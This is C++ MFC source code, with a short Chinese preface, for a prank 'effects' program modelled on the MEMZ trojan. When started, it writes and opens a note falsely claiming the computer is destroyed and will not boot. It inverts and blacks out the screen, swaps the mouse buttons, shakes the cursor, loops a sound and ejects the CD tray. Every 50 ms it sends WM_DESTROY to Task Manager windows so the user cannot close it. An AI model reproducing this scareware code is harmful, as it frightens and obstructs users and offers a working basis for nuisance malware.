此程序基于MFC,核心代码配有注释
// 特效程序1Dlg.cpp : 实现文件
//
#include "stdafx.h"
#include "特效程序1.h"
#include "特效程序1Dlg.h"
#include "afxdialogex.h"
#include <Windows.h>
#include<Mmsystem.h>
#include <MMSystem.h>
#pragma comment (lib,"Winmm")
#pragma comment(lib,"winmm.lib")
#include <dwmapi.h>
#pragma comment (lib , "dwmapi.lib" )
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// C特效程序1Dlg 对话框
C特效程序1Dlg::C特效程序1Dlg(CWnd* pParent /*=NULL*/)
: CDialogEx(IDD_MY1_DIALOG, pParent)
{
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void C特效程序1Dlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(C特效程序1Dlg, CDialogEx)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_MFCBUTTON1, &C特效程序1Dlg::OnBnClickedMfcbutton1)
ON_WM_TIMER()
ON_BN_CLICKED(IDC_MFCBUTTON2, &C特效程序1Dlg::OnBnClickedMfcbutton2)
ON_WM_ERASEBKGND()
ON_WM_CLOSE()
END_MESSAGE_MAP()
// C特效程序1Dlg 消息处理程序
BOOL C特效程序1Dlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
// 设置此对话框的图标。 当应用程序主窗口不是对话框时,框架将自动
// 执行此操作
SetIcon(m_hIcon, TRUE); // 设置大图标
SetIcon(m_hIcon, FALSE); // 设置小图标
char UserName[100];
unsigned long nSize = 100;
CString temp;
GetUserName(UserName, &nSize);
temp = UserName;
temp += ",你好";
GetDlgItem(IDC_STATIC1)->SetWindowTextA(temp);
char UserName1[100];
unsigned long nSize1 = 100;
CString temp1;
GetComputerName(UserName1, &nSize1);
temp1 = UserName1;
temp1 += "电脑,你好";
GetDlgItem(IDC_STATIC2)->SetWindowTextA(temp1);
char hostname[128];
//gethostname(hostname, 128);//获得主机名
DWORD ser;
char filename[128];
::GetVolumeInformation("c:\\", hostname, 128, &ser, 0, 0, filename, 128);
CString DiskID;
DiskID.Format("%08X", ser);
CString temp2,temp3;
temp2 += "磁盘序列号:";
temp2 += DiskID;
temp2 += "C盘,你好";
GetDlgItem(IDC_STATIC3)->SetWindowTextA(temp2);
temp3 = filename;
temp3 += "文件系统,你好";
GetDlgItem(IDC_STATIC4)->SetWindowTextA(temp3);
// TODO: 在此添加额外的初始化代码
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
// 如果向对话框添加最小化按钮,则需要下面的代码
// 来绘制该图标。 对于使用文档/视图模型的 MFC 应用程序,
// 这将由框架自动完成。
void C特效程序1Dlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使图标在工作区矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialogEx::OnPaint();
}
}
//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR C特效程序1Dlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
POINT pt;
BOOL exitc = 0;
CDC *pDcc;
DWORD WINAPI ThreadProc(LPVOID a) {
POINT point1;
int i = 0, k = 1;
while (1>0)//死循环
{
for (i = 0; i < 1000; i++)
{
if (exitc) {
GetCursorPos(&point1);
SetCursorPos(point1.x + rand() % k - rand() % k,
point1.y + rand() % k - rand() % k);//鼠标移到屏幕的指定位置
//部分代码鸣谢哔哩哔哩红烧稽
Sleep(10);
}
else {
return 0;
}
}
if (k < 50)
{
Sleep(10);
k++;
}
}
return 0;
}
void C特效程序1Dlg::OnBnClickedMfcbutton1()
{
GetDlgItem(IDC_MFCBUTTON1)->EnableWindow(FALSE);
GetDlgItem(IDC_MFCBUTTON2)->EnableWindow(TRUE);
CFile file("无标题.txt",CFile::modeCreate|CFile::modeWrite);//打开文件
file.Write("YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ *.\r\nYour computer won't boot up again,\r\nso use it as long as you can!\r\n:D\r\nTrying to kill MEMZ will cause your system to\r\nbedestroyed instantly, so don t try it\r\n :D",strlen("YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ *.\r\nYour computer won't boot up again,\r\nso use it as long as you can!\r\n:D\r\nTrying to kill MEMZ will cause your system to\r\nbedestroyed instantly, so don t try it\r\n :D"));//写入文件
file.Close();//关闭文件句柄
ShellExecute(NULL,"open","无标题.txt",NULL,NULL,SW_SHOW);//以文件关联打开
HWND hwnd = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc = ::GetWindowDC(hwnd); //获取桌面上下文的句柄
BitBlt(hdc, 0, 0, GetSystemMetrics(SM_CXSCREEN),/*获取屏幕宽度*/GetSystemMetrics(SM_CYSCREEN), hdc, 0, 0, DSTINVERT);
GetCursorPos(&pt);//获取鼠标位置
//DrawIcon(::GetDC(0), pt.x, pt.y, LoadIcon(0, IDI_WARNING));
DrawIcon(::GetDC(0), pt.x, pt.y, LoadIcon(0, IDI_ERROR));//绘制图标
PlaySound(MAKEINTRESOURCE(IDR_WAVE1), AfxGetResourceHandle(), SND_ASYNC | SND_RESOURCE | SND_NODEFAULT | SND_LOOP);//播放声音
SetTimer(1, 500,NULL);//此处均为设定计时器
SetTimer(2, 200, NULL);
SetTimer(3, 10000, NULL);
SetTimer(4, 50, NULL);
SetTimer(5, 7000, NULL);
SetTimer(6, 6000, NULL);
SetTimer(7, 700, NULL);
SetTimer(8, 5000, NULL);
SwapMouseButton(TRUE);
CreateThread(NULL, NULL, ThreadProc, NULL, 0, NULL);
exitc = 1;
// TODO: 在此添加控件通知处理程序代码
}
void C特效程序1Dlg::OnTimer(UINT_PTR nIDEvent)//计时器消息的处理程序
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if (nIDEvent == 1) {
HWND hwnd = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc = ::GetWindowDC(hwnd); //获取桌面上下文的句柄
BitBlt(hdc, 0, 0, GetSystemMetrics(SM_CXSCREEN),/*获取屏幕宽度*/GetSystemMetrics(SM_CYSCREEN), hdc, 0, 0, DSTINVERT);//反色
HWND hwnd10 = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc10 = ::GetWindowDC(hwnd10); //获取桌面上下文的句柄
StretchBlt(hdc10, 0,
GetSystemMetrics(SM_CYSCREEN),/*获取屏幕宽度*/
GetSystemMetrics(SM_CXSCREEN),/*获取屏幕高度*/
-GetSystemMetrics(SM_CYSCREEN),/*颠倒的屏幕*/
hdc10, 0, 0,
GetSystemMetrics(SM_CXSCREEN), /*获取屏幕宽度*/
GetSystemMetrics(SM_CYSCREEN), /*获取屏幕高度*/
SRCAND/*通过使用AND(与)操作符来将源和目标矩形区域内的颜色合并。*/);
}
//POINT pt;
else {
if (nIDEvent == 2)
{
GetCursorPos(&pt);//获得鼠标位置
//DrawIcon(::GetDC(0), pt.x, pt.y, LoadIcon(0, IDI_WARNING));
DrawIcon(::GetDC(0)/*获取DC*/, pt.x, pt.y, LoadIcon(0, IDI_ERROR));//绘制图标
}
else {
if (nIDEvent == 3)
{
ShellExecute(0, NULL, "http://www.google.com/", NULL, NULL, SW_SHOW/*NORMAL*/);//打开一个无法访问的网页
}
else {
/*CBitmap bitmap;
bitmap.LoadBitmapA(IDB_BITMAP1);*/
//CDC dc;
/*HWND hwnd = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc = ::GetWindowDC(hwnd); //获取桌面上下文的句柄
BitBlt(hdc, 0, 0,GetSystemMetrics(SM_CXSCREEN),/*获取屏幕宽度*\/*//*GetSystemMetrics(SM_CYSCREEN),/*获取屏幕高度*\/hdc, 0, 0, SRCCOPY);*/
//Sleep(500); //等待500毫秒(也就是0.5秒)
//
//dc.CreateCompatibleDC(pDcc);
//dc.SelectObject(&bitmap);
//CRect rect;
//GetClientRect(&rect);
//pDcc->BitBlt(0, 0, rect.Width(), rect.Height(), &dc, 0, 0, SRCCOPY);
/*CPoint pos1;
pos1.x = 0;
pos1.y = 5000;
CBrush brush(RGB(255, 0, 0));
CClientDC dc(this);
//CWindowDC dc(GetDesktopWindow());
dc.FillRect(dc.CRect(pos1.x,pos1.y), &brush);*/
//YOUR COMPUTER HaS BEEH FUCKED BY THE MEM2 *.
//Your conputer uon't boot up again,\ns0 use it as 1ong as you cant\n : D\n Irying to kill HENR ui11 cause your systen to be\n destroyed instantly, s0 don't try it :D
if (nIDEvent == 4) {
HWND hWnd1 = ::FindWindow(NULL, "任务管理器");
HWND hWnd2 = ::FindWindow(NULL, "Windows 任务管理器");//获取任务管理器窗口句柄
//MessageBox("正在获得窗口句柄");
//if (hWnd != NULL)
//{
::PostMessage(hWnd1, WM_DESTROY, NULL, NULL);
//}
//if (hWnd1 != NULL) {
::PostMessage(hWnd2, WM_DESTROY, NULL, NULL);//向任务管理器发送关闭消息
}
else {
if (nIDEvent == 5) {
HWND hwnd3 = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc1 = ::GetWindowDC(hwnd3); //获取桌面上下文的句柄
BitBlt(hdc1, 0, 0, GetSystemMetrics(SM_CXSCREEN),/*获取屏幕宽度*/GetSystemMetrics(SM_CYSCREEN), hdc1, 0, 0, BLACKNESS);
//Sleep(1000);
::PostMessage(hwnd3, WM_PAINT, NULL, NULL);
::PostMessage(hwnd3, WM_NCPAINT, NULL, NULL);
}
else {
if (nIDEvent == 6) {
HWND hwnd4 = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc2 = ::GetWindowDC(hwnd4); //获取桌面上下文的句柄
BitBlt(hdc2, 0, 0, GetSystemMetrics(SM_CXSCREEN),/*获取屏幕宽度*/GetSystemMetrics(SM_CYSCREEN), hdc2, 0, 0, WHITENESS);
}
//Sleep(1000);
//::PostMessage(hwnd4, WM_PAINT, NULL, NULL);
//::PostMessage(hwnd4, WM_NCPAINT, NULL, NULL);
if (nIDEvent == 7) {
HWND hwnd11 = ::GetDesktopWindow(); //获取桌面句柄
HDC hdc11 = ::GetWindowDC(hwnd11); //获取桌面上下文的句柄
StretchBlt(hdc11, 0, 30,
GetSystemMetrics(SM_CXSCREEN) - 100,/*目标宽度*/
GetSystemMetrics(SM_CYSCREEN) - 80,/*目标高度*/
hdc11, 0, 0,
GetSystemMetrics(SM_CXSCREEN), /*获取屏幕高度*/
GetSystemMetrics(SM_CYSCREEN), /*获取屏幕宽度**/
SRCCOPY/*将源矩形区域直接拷贝到目标矩形区域。*/
);
}
if (nIDEvent == 8) {
mciSendString("set cdaudio door open", NULL, NULL, NULL);
}
}
}
//MessageBox("发送关闭消息中");
//}
}
}
//Your computer is not MEMZ occupation, you can restart your computer, do not need to cherish the use, you can try to end the process.
}
}
//DrawIcon(::GetDC(0), pt.x, pt.y, LoadIcon(0, IDI_QUESTION));
//DrawIcon(::GetDC(0), 500, 500, LoadIcon(0, IDI_ERROR));
//DrawIcon(::GetDC(0), 500, 500, LoadIcon(0, IDI_WARNING));
//DrawIcon(::GetDC(0), pt.x, pt.y, LoadIcon(0, IDI_QUESTION));
//CDialogEx::OnTimer(nIDEvent);
//}
void C特效程序1Dlg::OnBnClickedMfcbutton2()//"停止"按钮的消息响应函数
{
GetDlgItem(IDC_MFCBUTTON1)->EnableWindow(TRUE);
//GetDlgItem(IDC_MFCBUTTON2)->EnableWindow(TRUE);
KillTimer(1);//此处均为取消计时器
KillTimer(2);
KillTimer(3);
KillTimer(4);
KillTimer(5);
KillTimer(6);
KillTimer(7);
KillTimer(8);
PlaySound(NULL, NULL, SND_PURGE);//停止播放声音
SwapMouseButton(FALSE);
exitc = 0;
//DeleteFile("无标题.txt");
// TODO: 在此添加控件通知处理程序代码
}
BOOL C特效程序1Dlg::OnEraseBkgnd(CDC* pDC)//已废弃的擦除背景处理程序
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
/*pDcc = pDC;
CBitmap bitmap;
bitmap.LoadBitmapA(IDB_BITMAP1);
CDC dc;
dc.CreateCompatibleDC(pDcc);
dc.SelectObject(&bitmap);
CRect rect;
GetClientRect(&rect);
pDcc->BitBlt(0, 0, rect.Width(), rect.Height(), &dc, 0, 0, SRCCOPY);
*/
return CDialogEx::OnEraseBkgnd(pDC)/*TRUE*/;
}
void C特效程序1Dlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
GetDlgItem(IDC_MFCBUTTON1)->EnableWindow(TRUE);
GetDlgItem(IDC_MFCBUTTON2)->EnableWindow(TRUE);
KillTimer(1);//此处均为取消计时器
KillTimer(2);
KillTimer(3);
KillTimer(4);
KillTimer(5);
KillTimer(6);
KillTimer(7);
PlaySound(NULL, NULL, SND_PURGE);//停止播放声音
SwapMouseButton(FALSE);
CDialogEx::OnClose();
}
代码比较简单,各位应该看得懂